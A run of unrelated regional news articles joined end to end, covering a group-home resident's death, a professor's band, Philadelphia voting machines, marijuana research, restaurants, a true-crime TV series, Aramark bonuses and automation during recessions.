Investigators found the handgun used in the shooting hidden in a shed on the property, according to the affidavit. It had been reported stolen from another home in the township during a burglary in February 2018. Inside the Lincoln, detectives found a spent shell casing.Joseph Brockington was known as friendly and polite when he and his friend stopped at the Wawa near the Burlington County group home where he lived for 16 years.

News that his body was found Saturday in Smithville Park, his death caused by hypothermia, surprised those who are mourning and are left questioning what happened Nov. 1, when the group home in Eastampton Township where the 56-year-old man lived reported that he and another resident, Juan Garcia, 58, had disappeared.

He was an all-around good person, and he did not deserve to die the way he did, Brockingtons niece, Haneefah Brockington of Elizabeth, Union County, said Tuesday. He needed supervision.

After posting her uncles picture and writing, RIP Uncle Joseph. You will be missed," she said, hundreds offered their condolences for a man who loved music and sports, including his favorite Super Bowl champs, the New England Patriots.

Brockington said her uncle was a diabetic and mentally disabled. After his immediate family was unable to care for him, she said, he was placed at the group home on West Railroad Avenue, close to the park, so that he could be cared for throughout the day and receive his medication properly. Brockington said she was told the men left about 7 p.m. Nov. 1, and questioned why they were not under closer supervision.

She said she was told by the group home that those who lived there were free to leave and return on their own. Brockington said her uncle needed help.

A woman at the group home said on Tuesday that questions had to be directed to Catholic Charities, which runs the facility.

The group home, a brick ranch house close to the woods, helps adults with serious mental illness (SMI) to live independently in the community, Dana DiFilippo, a spokesperson for Catholic Charities in Trenton, said in an email Tuesday night.

The homes have varying levels of supervision, in accordance with state licensing standards, to ensure residents are able to live in the least restrictive setting. The home where these men lived is independent supportive housing, where residents are free to leave at any time, DiFilippo said. The man who was found Saturday was his own legal guardian.

DiFilippo added in the email: Because the men had health conditions that required daily medication, Catholic Charities alerted authorities right away (Nov. 1) when they failed to return. Catholic Charities takes its responsibilities as a group home provider seriously and has been working closely with the Eastampton Police Department since Nov. 1 to locate the men.

The group home is state-funded, DiFilippo said.

In a statement released previously, Catholic Charities executive director Marlene Lao-Collins. extended condolences to the Brockington family.

In a group home, staff and residents become like family, so we mourn this loss deeply, as well, Lao-Collins said.

Heather Conover, Wawas lead customer service representative at its store at Routes 38 and 206 in Southampton Township, said the men often came to the convenience store. Sometimes, a woman accompanied them to keep an eye on them and made sure they received receipts for their purchases.

They were always really friendly and really polite, Conover said, adding that they stood out among the customers. Not everyone says thank you. They always said thank you.

Haneefah Brockington said her heart still hurts for Garcias family. She said authorities told her it appeared her uncle stepped in quicksand" and couldnt get out.

We know what happened to Uncle Joe, but they still dont know what happened to Juan, she said.

After finding Brockington, authorities continued their search for Garcia. Neither men took diabetes medication with him when they left on Nov. 1, officials said.

Eastampton police said the Burlington County Prosecutors Office was handling the investigation now that it involved a death.

The Burlington County Prosecutors Office released a statement on Monday that said it appears the death was accidental and no foul play was involved.

We have been working closely with the Eastampton Police Department since their disappearance and had hoped for a better outcome, said Prosecutor Scott Coffina. We have searched extensively for Mr. Garcia, again over the weekend, and will continue to do so until we locate him. We will continue to hold out hope that he will be found safely.

Staff writer Robert Moran contributed to this article.Meet Jess McCall, a professor at Delaware Valley University, whose specialties include Shakespeare, superheroes, and rocking on the steel drums with her band, Jess and the Mansplainers.

On the sound of the steel drum: It can take really harsh music and soften it, McCall said. So my parents dont like Ozzy Osborne, but they do like Crazy Train on steel drums.

Not all that glitters is gold: The words I am no man are tattooed between McCalls shoulder blades. Its what Eowyn says in The Lord of the Rings: The Return of the King before she stabs the the Witch King of Angmar through the head. Its such a gotcha moment, McCall said. Here you thought you knew the rules, but little did you know I was here this whole time.

When Jess McCall was a little girl, her brother took her to the comic book store in their small Illinois town.

Are there any girls? she asked him.

Yeah, theres Storm in the X-Men, he said, and she bought all the X-Men comics she could.

I know for the generation after me, they waited for their Hogwarts letter, McCall, now 37, said. But for me, I was waiting for my mutant powers.

Today, McCall  an associate professor of English at Delaware Valley University in Doylestown  counts comic books, female representation in the superhero genre, and Shakespeare among her studies.

McCall also heads up a steel-drum-led band of college professors called Jess and the Mansplainers.

The Mansplainers, who are all DelVal instructors, include guitarist Craig Stutman, assistant professor of history and public policy; drummer Matt Mutchler, assistant professor of counseling psychology; and bassist David Timoney, chair of the education department.

It was a man  Mutchler  who came up with the name. Merriam-Webster defines mansplain as to explain something to a woman in a condescending way that assumes she has no knowledge about the topic.

A lot of us teach in the social justice area and touch on issues of gender. Its something that comes up in our classes a lot," Mutchler said.

So far, Jess and the Mansplainers, formed last year, has played only at DelVal functions. The bands catalog includes just four songs: Crazy Train, Sweet Child of Mine, Axel F, and The Devil Went Down to Georgia (Jess takes the fiddle part on the steel drums).

Recently, as the band practiced in DelVals auditorium, banter included Its not like psychology is a real thing, Is that Pavlovian?" Lets not compare ourselves to Pink Floyd," and Well, when you mansplain it that way.

McCall began playing steel drums at Western Illinois University. After a stint working as an engineers assistant at a tool factory, making parts for John Deere and Caterpillar equipment, McCall went back to school to pursue teaching.

She began at DelVal in 2012 and was the first instructor at the school to teach courses on womens literature and graphic novels.

 MORE WE THE PEOPLE: Forensic scientist Antoinette T. Campbell helps busts crimes and stereotypes

Shes also member of DelVals wind ensemble and its jazz band, for which she plays piano. And in the summer, she plays pit for the Bucks County Gilbert and Sullivan Society.

But her real passion is superheroes.

She talks about how they mirror society and show us what we wish or what we think we wish. She makes you question whether power is illustrated by Captain Americas muscles or by the moments where hes kind and patient.

They give us this idea that maybe we could be better than we are, that if we tried a little bit we could help each other out and come together, she said.

So why are there still so few female superheroes?

McCall said that in a patriarchal society men arent used to viewing themselves through women characters, though girls can easily see themselves through figures like Harry Potter. Shes hopeful, though, and has seen a change coming in films like Wonder Woman and Black Panther.

 MORE WE THE PEOPLE: After decades as a cop, John Wylie became a yoga teacher

Were seeing a flexing of our imagination, she said. More of us are willing to imagine ourselves through different people than we used to be, and thats pretty exciting.

On Feb. 28 McCall will be part of a panel discussion following a screening of Black Panther at DelVal.

Want more We the People?Advocates of paper ballots cheered the news late Tuesday that the Philadelphia city commissioners have delayed their selection of new voting machines, but found themselves frustrated Wednesday when officials said they had no new information to provide.

The only thing we know now is that our message, to some degree, has been heard, otherwise I do believe that we would have gotten a decision today and probably not the one that would have been most appropriate and prudent, said Stephen Strahs, one of a core group of activists who have shown up for meetings and held rallies. But where this goes from here, I have no idea. My hope is that theres going to be a process of reconsideration.

Strahs and a handful of others attended a commissioners meeting Wednesday  for which a decisive vote had been scheduled  but left without any clarity on a process they say has been opaque. The commissioners did not say anything about the machines when pressed by the activists on the decision timeline.

For weeks, the activists have pushed for the commissioners to choose a system in which voters fill out a paper ballot and then scan it. That kind of system is more secure and easier to use, they say, than a touchscreen system that would create a paper trail by printing out a list after voters make their selections.

In recent days, those calls have attracted the attention of city and state watchdogs who said the machine replacement process has moved too quickly and been too opaque.

Late Tuesday, the commissioners announced they would not vote on a new system at Wednesdays meeting because a confidential selection committee had not yet sent them its final recommendations.

The commissioners said they are caught between the citys procurement process and a directive from Gov. Tom Wolfs Department of State that counties replace their machines.

To avoid the chaos of rolling out a new system in the 2020 presidential election, the commissioners are planning to have new machines in place by the municipal election this November.

Last November, the city put out a request for proposals for new voting systems and received six bids. The selection committee, which includes representatives from the commissioners, City Council, the mayors office, the citys Office of Innovation and Technology, and the office of the citys chief diversity and inclusion officer, must score the systems and provide recommendations to the commissioners.

New voting systems, which will be in use for years, will cost up to $50 million to $60 million in upfront and operating costs over several years, according to the commissioners estimates. The city has $22 million in city funding and an additional $1.7 million in federal and state funding.

In their statement Tuesday, the commissioners said the delay came because the selection committee had negotiated with multiple vendors but made recommendations to the Procurement Department for additional negotiations of price and other terms. The commissioners declined to provide details.

Mike Dunn, a spokesperson for Mayor Jim Kenney, said the city procurement commissioner is reviewing the recommendations.

It will come back at some point and we will vote, Lisa Deeley, chair of the commissioners, said after the meeting, echoing the commissioners Tuesday statement. Thats not very specific, but unfortunately, as you well know, we are following the citys best-value procurement rules. I sound like a broken record, Im sorry.

Deeley said the delay had nothing to do with criticism from City Controller Rebecca Rhynhart and state Auditor General Eugene DePasquale that the process is too rushed and secretive, nor from activist pressure.

To be clear, it is because it is all part of the ongoing process," Deeley said.

No timeline has been set for a vote, she said.When women who are pregnant or breastfeeding use marijuana, does it harm their children?

Despite decades of research, experts say the answer is as murky as pot smoke. Studies of the effects of Cannabis sativa on fetal and child development are inconsistent, inconclusive, and insufficient.

But that uncertainty  plus the steamroller of state laws permitting marijuana use  has set up a deepening divide.

Medical, addiction, and law enforcement authorities say women should err on the side of caution and steer clear of marijuana.

Meanwhile, the growing ranks of mothers and mothers-to-be who swear by the plant to treat nausea, pain, migraines, depression, and more believe in erring on the side of womens wisdom.

Were talking about womens medical choices, said Jeanna Hoch, 37, of Denver, founder of CannaMama Clinic, an online community that advocates cannabis use during pregnancy and lactation. We are very firm in our beliefs about responsible consumption. Were not just: Hey, go get high when youre pregnant and have a good time.' We just want the choice to use it medically.

Research gaps grow

The health effects of marijuana in general are far from clear, a National Academies of Sciences, Engineering and Medicine review concluded in 2017.

Those research gaps are growing as the cannabis industry booms and innovates. Todays varieties have been bred to have a higher concentration of tetrahydrocannabinol (THC)  the psychoactive compound that causes a high  than the cannabis of past generations. Cannabidiol (CBD), the component that doesnt cause intoxication, is being touted as a miracle supplement for everything from acne to schizophrenia. And marijuana products now come in tablets, topicals, edibles, and vapes, as well as traditional smokable forms.

Despite the unknowns, 33 states, and counting, have legalized medical or recreational marijuana, or both. (Medical use is legal in Pennsylvania and New Jersey, and both states are debating full legalization.)

No states specifically allow medical marijuana for pregnancy-related conditions, but neither do they prohibit use or warn about possible harms to a fetus, according to the Prescription Drug Abuse Policy System.

As a result, perceptions of cannabis safety have increased, and the prevalence of marijuana use among pregnant women has expanded, Lauren M. Jansson, director of pediatrics at Johns Hopkins Universitys Center for Addiction and Pregnancy, wrote last year in an opinion piece in JAMA.

While alcohol and tobacco use have been falling among pregnant women, the percentage who fessed up to marijuana use doubled between 2002 and 2014, to about 4 percent, federal surveys show. But the real prevalence is another unknown. Many moms keep mum because of stigma and fear of punishment. That fear is especially keen among women who have just given birth. Under federal and many state child abuse prevention laws, hospitals are supposed to notify child protective agencies about newborns who test positive for exposure to marijuana.

At every hospital in Philadelphia, we say: Do not use marijuana while you are pregnant or breastfeeding,'  declares a flyer with the logos of five maternity hospitals, the city health department and the Maternity Care Coalition.

If a baby has THC in the urine, we report the mom, said Steven A. Shapiro, chair of pediatrics at Abington-Jefferson Health. If youre going to be pregnant, you shouldnt be smoking marijuana.

Hoch, in Denver, passionately disagrees. During both of her pregnancies, she told her obstetrician she was using marijuana to relieve severe morning sickness, or hyperemesis gravidarum, that didnt respond to standard medication.

The birth of her daughter in 2014  almost two years after Colorado voters passed an amendment legalizing marijuana  was the turning point in Hochs activism. The hospital drug-tested Hoch and her newborn, and a social worker repeatedly interviewed Hoch and her husband, making them feel uncomfortable and threatened.

Mothers should not fear losing their children because they choose cannabis to treat their ailments, said Hoch, who has spoken at scientific conferences on maternal marijuana use.

She sees her healthy, thriving children, ages 13 and 5, as evidence of the prudence of her choice.

I know thats anecdotal, she said. However, we believe that anecdotal evidence, when it mounts up, gives you a sense of reassurance to know how many women have found wellness through the plant.

Anonymous testimonials abound online.

I had morning sickness so bad and tried everything, one woman wrote on the Cannavist Mom website. A toke or two before getting out of bed helped tremendously. My daughter is now 20 and is as healthy as can be.

I am an educated, cannabis-loving mother to an extremely smart 3-year-old, wrote another. I started smoking around the age of 16 due to my major depression and anxiety. Pharmaceuticals made me sick. Smoking makes me a better mother.

Theoretical risks

In the 1990s  long after THC and related compounds were isolated in cannabis  scientists discovered that the body produces its own cannabis-like substances. Humans, it turned out, have an intricate chemical messaging network, now called the endocannabinoid system.

That network, which is concentrated in the brain and nervous system, is involved in an array of critical neurological processes, from early brain development to thinking, mood, appetite, and pain sensation.

Thats why TCH is a particular concern. It readily crosses the placenta to the fetus, and small amounts get transferred via breast milk to a baby. In theory, this mind-altering chemical messenger could interfere with development.

Medical authorities often omit the in theory part.

THC exposure can adversely affect fetal growth as well as structural and functional neurodevelopment, Jansson, at Hopkins, declared in her opinion piece.

The Philadelphia hospitals poster, titled Get the Facts, says it more simply: Marijuana can harm babies and their brains.

There is no doubt that marijuana use can be harmful. A woman who compulsively abuses the drug has a recognized psychiatric illness called cannabis use disorder; it is bad for her and her offspring because, by definition, she suffers significant impairment of functioning and distress.

But the risks of more restrained use are tougher to assess. Since it would be unethical to test a potentially dangerous drug on pregnant or nursing mothers, researchers basically follow marijuana users and nonusers and look for differences in their kids. The results, which often rely on womens not-so-reliable recollections, may be muddled in some cases by the effects of poverty, and the use of other drugs such as tobacco and alcohol.

The National Academies report devotes a whole chapter to a review of studies that looked for a link between marijuana use during pregnancy and bad outcomes, including miscarriage, stillbirth, fetal distress, fetal growth problems, premature birth, birth defects, and thinking and behavioral problems as late as adolescence.

The bottom line? Only one outcome  lower birth weight  was relatively strongly linked to smoking marijuana during pregnancy.

As for breastfeeding, there wasnt even enough data to draw conclusions.

Nonetheless, expert groups, including the American College of Obstetrician-Gynecologists, the American Academy of Pediatrics, and the National Institute on Drug Abuse, say doctors and women should be worried, not reassured.

Because of concerns about brain development, as well as the ill effects of smoking, women who are pregnant or contemplating pregnancy should be encouraged to discontinue marijuana use, says the ob-gyns guidance.About one in five young adults in the United States uses marijuana, and that could be contributing to the high rates of depression and suicide in that group, a new study suggests.

The research, published Wednesday in JAMA Psychiatry, reviewed data from nearly a dozen studies that included more than 23,000 people. It found that marijuana use in adolescence is linked with an increased risk of depression, as well as suicidal thoughts and attempts, before age 32.

This doesnt mean marijuana causes mental illness, the researchers cautioned. The studies included in the analysis looked only at associations between the two, not cause and effect.

But if you put everything together  animal studies, brain imaging studies, these types of meta-analyses where you study association  we have an indication at least that adolescents should be aware not to smoke cannabis, said Gabriella Gobbi, a coauthor of the study and professor of psychiatry at McGill University in Montreal.

For the review, researchers pooled data from 11 previous studies on marijuana and depression, anxiety, and suicide. They included two dozen more studies in the qualitative analysis.

Recognizing that youths with depression often self-medicate with marijuana, the researchers only included longitudinal studies in which children werent depressed or suicidal at the start. Longitudinal studies follow participants over time and collect data every few years. Theyre considered reliable measures of change because of the consistent follow-up.

Given these restrictive characteristics, we have confidence that the data is quite good, Gobbi said. Not perfect, but good.

The researchers concluded that about 400,000 cases of adolescent depression in the U.S. are potentially attributable to marijuana. Cannabis is a serious public health concern, they wrote.

The National Institute of Mental Health estimates 3.1 million adolescents experience at least one major depressive episode per year.

The new study did not find a significant association between marijuana use and anxiety.

The findings come as marijuana legalization is spreading rapidly. Pennsylvania and New Jersey are among more than 30 states that have legalized medical marijuana. Ten states have legalized recreational use, too. (Canada legalized recreational marijuana nationwide in 2018.)

Sales to minors are prohibited even where the substance is legal, but national data show youths are still able to access it. About 14 percent of eighth graders and 32 percent of 10th graders have used marijuana, according to the National Institute on Drug Abuse. And the Centers for Disease Control and Prevention reports more American teens use marijuana than smoke cigarettes.

The drug could be affecting the development of their brains, Gobbi said. Tetrahydrocannabinol (THC), the main psychoactive component of marijuana, interacts with cannabinoid receptors in the brain. These receptors are located in areas that are involved in mood control.

Interfering with brain development might lead to an increased risk of mood disorders, such as depression, Gobbi said. And that in turn, might contribute to an increase in suicidal thoughts and attempts.

But much more research is needed, Gobbi said.

Little is known about how dose or frequency of marijuana use affects adolescent mental health, if there are differences between girls and boys responses to the drug, or if there is a particular age at which children are most vulnerable.

Previous research has shown that marijuana does not cause teens to develop mental health issues that lead to conduct problems like cheating or lying. But studies also indicate it can trigger the onset of schizophrenia earlier in those who are genetically predisposed to the illness.

We hope that this paper can be just the first drop that will encourage other researchers to do more in this field, Gobbi said.We're all about high times  that is, dining with a view.

Since Top of Centre Square on the 41st floor of Centre Square closed a quarter-century ago, the citys most altitudinal tables have been those at R2L, Daniel Sterns sleek American bistro on the 37th floor of Two Liberty Place.

We're moving up. This summer, chef Jean-Georges Vongerichten will open the sumptuous Jean-Georges on the 59th floor of the new Comcast Technology Center, with its Sky High lounge on 60.

In the meantime, theres a new top perch:

The Pyramid Club, on the 52nd floor of the BNY Mellon Center at 1735 Market St.

Since 1993, it has been private, opening its meeting facilities, dining, and mesmerizing views only to members. But just this week, it opened to the general public for dinner Tuesday to Friday via OpenTable.

The Pyramid is undergoing a food-and-beverage rebirth under new chef Sylva Senat, who made his mark here at Tashan and then at Maison 208, and general manager Kevin Keys, who ran the show at such posh spots as Le Bec-Fin, the Union League, and Jansen. Theres a rock-solid wine list, as befits a club whose members generally eschew the likes of Yellowtail.

The current four-course tasting menu ($75, with wine pairings available) includes foie gras mousse toast, Thai basil risotto with wild mushroom and Parmesan froth, braised Kurobuta pork shank, and vegan caponata. There also is an a la carte menu.

Why open to the public? Management is looking to lure new members as Phillys private-club scene is ramping up, inspired by this springs opening of the Fitler Club at 2400 Market St.Talk about christening a kitchen.

On the day that Friday Saturday Sundays cooking line was delivered, owners Hanna and Chad Williams got married amid the stoves and cooktops.

We showed up to the construction site in a dress and a suit, and sprung it on our general contractor, Hanna Williams says. The couple had been holding on to a marriage license for a few months and only needed witnesses for their Quaker ceremony.

We wanted to be married before the restaurant opened because we knew wed never have time after. She believes that the kitchen wedding created some good juju for their restaurant, which has quickly become a Philadelphia favorite. (It was among Craig LaBans Top 25 for 2018.)

The Williamses are part of an established movement in Philadelphia. More than two dozen local restaurants are owned by couples, including Bibou, Brigantessa and Le Virtu, China Gourmet, Cry Baby Pasta, Fond, Giuseppe & Sons (and more from Schulson Collective: Double Knot, Harp & Crown, Sampan), Good Dog Bar, Mr. Martinos Trattoria, Punk Burger and SliCE, Pumpkin, Russet, Barbuzzo (and sister restaurants in the Safran Turney Hospitality family: Bud & Marilyns, Little Nonnas, Jamonera, and Lolita), Sate Kampar, South Philly Barbacoa, Southwark, Spice Finch, V Street, and Vedge.

Is love simply in the air for Philly restaurateurs?

It is at Russet, which Andrew and Kristin Wood opened on Valentines Day in 2012. According to Andrew Wood, the holiday is always a big day at the restaurant. Were always open, he says. Were sentimental for our anniversary.

Though they have to work on Valentines Day, the Woods dont mind because, according to Kristin, working together gives them flexibility for their family (they have two sons) and it means we actually get to see each other.

Jennifer Carroll and Billy Riddle of Spice Finch echoed that sentiment, agreeing that the best part about working together is seeing each other all the time. This industry consumes your whole life, Carroll says. Youre thinking about it all the time and working long hours and holidays, so being able to spend that with the one that you love is important.

Opening a business with her fiance made sense because I can trust him more than I can trust anyone else. Well do the very best for each other and our team.

Valerie Safran says that her wife, chef Marcie Turney, always wanted to own a restaurant. She said that to me since day one, but I didnt know anything about owning a restaurant, Safran says. Over the last 15 years, they figured it out as a team  with Turney handling the kitchen and Safran managing the front of the house, plus the financials  and now have a mini-empire of nine restaurants and shops.

Safran and Turney recently embarked on another adventure together: In September, they adopted a baby. Having both the flexibility that comes with ownership and trusted employees helping run their businesses has eased their transition into parenthood. It forces you to be more efficient, Safran says. Im cranking through work because I want to be home at 6.

Francis Cratil-Cretarola and Cathy Lee, owners of Le Virtu and Brigantessa, never planned to own restaurants. We have no business being in this business, Cratil-Cretarola jokes. The couple, who met while getting masters of fine arts degrees, found themselves immersed in the Italian region of Abruzzo following Cratil-Cretarolas life-changing Hodgkins lymphoma diagnosis and successful treatment. I said to Cathy: Nothing is guaranteed to us. We never know whats going to happen, but Id love to move to Abruzzo [together] for half a year, Cratil-Cretarola says. It was a pie-in-the-sky plan, but after surviving cancer, we had a blank check.

Upon returning to Philadelphia, they looked for a way to keep Abruzzo in their lives and found it by opening restaurants. Lee manages daily operations and Cratil-Cretarola works on the mission to honor Abruzzo through events and cultural exchanges. Though they say theyve made many mistakes along the way, Lee says that their personality differences have helped make them successful co-owners. Were not 100 percent wired the same way, which I think is a good thing, she says. In a lot of decisions, we can complement each other. We dont always have to agree, but we each want the best outcome.

But owning a restaurant together is not all wine and roses. Most couples can go home and escape from their work life, but we inevitably bring everything into the house, Cratil-Cretarola says.

Opening a restaurant together and not spending one moment apart was a huge test of our relationship, Hanna Williams says. Its really hard to do that and be able to say I still love you. [After that] we can probably make it through just about anything.

Andrew Woods advice on opening a restaurant with a romantic partner is to keep lines of communication open and to save some energy for your spouse or family. Carroll recommends making sure that the relationship doesnt affect the team by bringing home problems into work. On the other side of the coin, her fiance suggests creating systems at work with a solid staff to follow that structure to avoid bringing work problems home. You can create a safe word, he joked, which he and Carroll tried, but agree that it only worked for five minutes before they were talking about the restaurant again.

Safrans advice: Im sure you love each other, but youd better really like each other.

With all of the stress involved with running restaurants, how do restaurateur couples cope?

Vacations are popular, whether its a quiet weekend away or a distant destination to unplug (though Cratil-Cretarola and Lee have learned that vacationing to their favorite place, Abruzzo, isnt the best way to disconnect from their Abruzzo-centric businesses).

Carroll and Riddle enjoy playing with their three pet rabbits (Chewy, Larry, and Lil Joanie) and also watching favorite shows on Netflix.

For couples with restaurants that are open on Valentines Day, celebrating their love on that holiday isnt typically possible. Cratil-Cretarola remembers making Lee a special abruzzese dish, scrippelle 'mbusse, but that was back in the 90s. These days, they pick a quiet weekend to spend at a cabin near the Appalachian Trail with their dogs. Safran and Turney tend to head home and unwind with a television show once theyre sure that their restaurants are up and running for the busy night. Riddle says that he and Carroll celebrate our love all the time, but he still brings home chocolates and flowers.

With the long hours and challenges of co-owning a busy restaurant, would these restaurateur couples do it all over again? Definitely, definitely, definitely, Safran says. No doubt, Carroll says. 100 percent, and we might [do it again], Hanna Williams hinted.

Its pretty incredible, Chad Williams says. Having your wife or husband as your partner seems like a great advantage. Its somebody that you can trust and that youre getting complete transparency and honesty from. Its kind of the dream.A new TV series on the Oxygen cable channel will examine the 2008 death of a Wilmington man who a pair of retired New York City detectives believe may have been killed by an apparent group of murderers known as the Smiley Face Killers. The episode focusing on Thomas Booth is set to air this weekend.

First theorized by Sgt. Kevin Gannon and Detective Anthony Duarte in 2008, the Smiley Face Killers, which may operate as a network throughout the country, reportedly target college-age white males; they are found drowned weeks after they disappear. Other alleged elements of the slayings include stealing only the victims cell phone and leaving graffiti at the scene. Gannon and Duarte claim that the group could be responsible for upward of 40 deaths across 11 states in 10 years, according to a Daily News report, but the theory has been discounted by several police departments, as well as the FBI.

Oxygens Smiley Face Killers: The Hunt for Justice on Saturday will investigate the death of Thomas Booth, a 24-year-old Wilmington drywall finisher who was found dead behind Bootleggers Bar in Woodlyn, Ridley Township, Delaware County, in February 2008. According to reports, Booth visited the bar with friends the night of Jan. 19, but wasnt seen again. Authorities found his body two weeks later in a shallow portion of Ridley Creek about 30 yards from Bootleggers back door.

With no signs of trauma to the body, Booths death was ruled an accidental drowning. However, some aspects of his death seemed off to friends, family, and investigators.

Booth was healthy, and though he had epilepsy, his family said at the time that he had not had a seizure for more than two years, according to the Delaware County Daily Times. At the time of his death, examiners found, he had a small amount of Xanax in his system that was consistent with a prescription, and his blood-alcohol content was about 0.20, which authorities told the Times would not be high enough to make him incoherent.

Booths body was without his cell phone, but had his wallet, money, and ID. His mother, Barbara McKay Bush, meanwhile, said she was confused why Booth was near water at all, as he never liked the water, let alone in the middle of January, she told the Daily News in 2008.

And then there was the graffiti investigators found. Painted below Bootleggers back deck, it consisted of a simple smiley face with a crown  a supposed calling card of the purported Smiley Face Killers.

According to a 2008 Daily News article, then-Ridley Township Police Detective Sgt. Scott Willoughby, who was promoted to captain in 2015, began suspecting the groups possible involvement after seeing a Good Morning America segment about the Smiley Face Killers around May that year. As he told the Daily News, many elements of Booths death lined up with elements of other purported Smiley Face Killers murders, and although he didnt accept the theory fully, it did get his attention.

I find the circumstances puzzling even without this theory, he said. Some of the clues to their puzzle match some of the clues to this puzzle. Thats why I think we need to investigate all clues and all avenues.

The FBI, however, has discounted the Smiley Face Killers theory, saying many of the deaths Gannon and Duarte pointed to appear to be alcohol-related drownings. Special Agent Richard J. Kolko told the Daily News that the FBI determined there is no serial killer or killers.

But with the debut of Oxygens Smiley Face Killers: The Hunt for Justice, the topic is back in the news. The series, which premiered last month, has looked at the deaths of Dakota James, Lucas Homan, Will Hurley, and Brian Welzien, all healthy white males in their 20s who officially died in accidental drownings after drinking on nights out between 2006 and 2017.

Featuring Gannon and Duarte and their team of investigators, the show aims to investigate these deaths as homicides to establish a possible connection in hope of furthering their theory, according to a release. In the episode dealing with Booths death, the investigators speak to friends and family about the possibility that Booth was murdered by the group.

Smiley Face Killers: The Hunt for Justice airs Saturdays at 7 p.m. on Oxygen.2018 was a record year of revenues and profitability for Aramark. Still, thousands of managers at the Philadelphia company did not get their performance-linked bonuses.

Thats because the food-and uniform-services giant did not meet the profit target set by the board of directors, a top company official told the Inquirer on Tuesday  news to the managers, some of whom said they met their individual performance goals.

Were the frontline managers told at the beginning of 2018 that company-wide profits would be a factor in their performance bonuses that could constitute up to 20 percent or more of their annual compensation?

I dont think so. .... They know, they can see in the plan, that the company has discretion," Aramark chief financial officer Stephen P. Bramlage said. Managers were told about the change of plans Feb. 1, more than a month after they would have typically been paid bonuses for the financial year that ended Sept. 30.

Bramlage and other top executives, including CEO Eric Foss, still got annual incentive payouts, despite the profit shortfall relative to the boards target, because the company met precisely the minimum threshold for executive bonus payouts.

Moving the goalpost

What Aramark did is not unusual, according to employment lawyers.

Companies move the goalpost all the time, said Harold M. Goldner, an employment lawyer at Kraut Harris P.C. in Blue Bell whose clients include both employers and employees.

That doesnt mean slashing the bonuses and telling employees about it after the fact is a good human resources practice, Goldner and others said this week.

Employers typically change the rules going for the future, not retroactively.

They are thinking about morale, they are thinking about the effect on productivity in the future. You always want to think about the attrition rate. Retention is an important factor, especially in this economy where obtaining talent can be difficult, said Susan L. Swatski, a lawyer in the Princeton office of Hill Wallack LLP.

The damage to morale was evident in recent emails to the Inquirer from at least three dozen Aramark employees, many of whom expressed outrage about how they were treated by Foss, who replaced longtime CEO leader Joseph Neubauer in 2012. The CEO was paid $16 million in 2018, including $2.6 million in incentive bonus.

For a long time, employees said, annual bonuses had been treated more or less like deferred compensation. They might have been higher or lower, depending on the year, but they were a regular financial windfall for Aramark managers in early December.

That doesnt mean the company hasnt exercised discretion before, both positively and negatively, said Lynn McKee, Aramarks executive vice president of human resources, who has been with the company since 1980.

There have been times when people havent really achieved their goals, and depending on circumstances, we have used positive discretion to award them some sort of bonus even though they hadnt achieve the targets that we set up for them," she said.

But last year, instead of sending out a notice of bonus awards, Aramark notified managers on Dec. 3 that bonuses would be paid in February. The company already knew then that thousands of people expecting a bonus wouldnt get one, Bramlage said. He and McKee said they didnt know exactly how many people were affected.

Aramark employs about 170,000 people in the United States, including 14,000 in Pennsylvania and nearly 6,500 in the Philadelphia region.

The good and the bad

While knowing that the lack of bonuses for thousands was not going to go over well, Aramark was trying to figure out how it would spend $90 million of the $100 million in surplus cash it had received from the federal government thanks to the 2017 Tax Cuts and Jobs Act to benefit employees, Bramlage said.

Management delayed the bonus announcement because it wanted to "combine the good and the bad, he said.

The good news, disclosed to employees Feb. 1  the same day many were told the bad, namely that they wouldnt get a 2018 bonus  was onetime payments ranging from $5,500 to $27,500 for different management tiers. Those were paid out last Friday, a week earlier than initially announced.

Bramlage wouldnt say how much Aramark spent on those payments in total.

But the payments  which under most circumstances would have been seen as a boon  did little to assuage some managers who said their bonuses would have been higher.

Its definitely not enough to keep everyone happy, said one manager, who said he missed out on $13,000. All the managers who contacted the Inquirer shared their views on condition of anonymity to protect their jobs.

Bramlage acknowledged that Aramark could have done a better job getting the word out about what it was doing.

I do believe the company could have been more effective communicating earlier, said Bramlage, who received $546,900 in annual incentive payments for 2018. OK, what is in it for me as an individual employee? I think that is a fair critique for someone to have.

Why top execs got bonuses

Bramlage and other executives got their bonuses because Aramarks adjusted operating income landed precisely on the minimum target  $974.5 million  for top executives to receive a bonus. That figure, which excludes the gains from companywide lower incentive pay and other factors, was 95 percent of the companys $1.03 billion target.

In fiscal 2017, Aramark had come within 98.6 percent of its target.

Because the distance from target was greater, at the end of 2018 a smaller bonus pool in terms of dollars was created, Bramlage said.

In presenting results to Wall Street, Foss and Bramlage emphasized that Aramark had met a three-year profitability target (barely) and set records for margins, and earnings per share.

There is no doubt that 2018 for the company was a record year, Bramlage said. But the company creates and earns a bonus pool of dollars based on our performance versus a set of predefined targets. It doesnt create a bonus pool based on an absolute performance number thats good or bad.Robots' infiltration of the workforce doesn't happen gradually, at the pace of technology. It happens in surges, when companies are given strong incentives to tackle the difficult task of automation.

Typically, those incentives occur during recessions. Employers slash payrolls going into a downturn and, out of necessity, turn to software or machinery to take over the tasks once performed by their laid-off workers as business begins to recover.

As uncertainty soars, a shutdown drags on, and consumer confidence sputters, economists increasingly predict a recession this year or next. Whenever this long economic expansion ends, the robots will be ready. The human labor market is tight, with the unemployment rate at 3.9 percent, but there's plenty of slack in the robot labor force.

This next wave of automation wont just be sleek robotic arms on factory floors. It will be ordering kiosks, self-service apps, and software smart enough to perfect schedules and cut down on the workers needed to cover a shift. Employers are already testing these systems. A recession will force them into the mainstream.

A new analysis from Mark Muro, Robert Maxim and Jacob Whiton of the Brookings Institution, a nonpartisan think tank, finds much of the nation will be susceptible to the upheaval caused by automation in coming decades, particularly young people, minorities, and Rust Belt workers.

The total number of jobs will rise in the long run, but many workers will be forced to adapt. Robots will continue to roil the long-suffering manufacturing sector, Brookings finds. They will also move into low-skill service jobs such as food services workers once considered too cheap or too difficult to automate.

Economists generally focus on workers performing repetitive tasks, including rote mental or clerical work in an office cubicle and rote manual labor on a factory floor, to measure the influence of technology.

Middle-income work has evaporated in recent decades. Americans are now divided between the high-paid employees who design machines, the low-paid workers who sweeps up after it, or the even lower-paid service workers who serves fast-casual sandwiches to the other two.

In an upcoming paper from Review of Economics and Statistics, economists Nir Jaimovich of the University of Zurich and Henry Siu of the University of British Columbia found that 88 percent of job loss in routine occupations occurs within 12 months of a recession. In the 1990-1991, 2001 and 2008-2009 recessions, routine jobs accounted for "essentially all" of the jobs lost. They regained almost no ground during the subsequent recoveries.

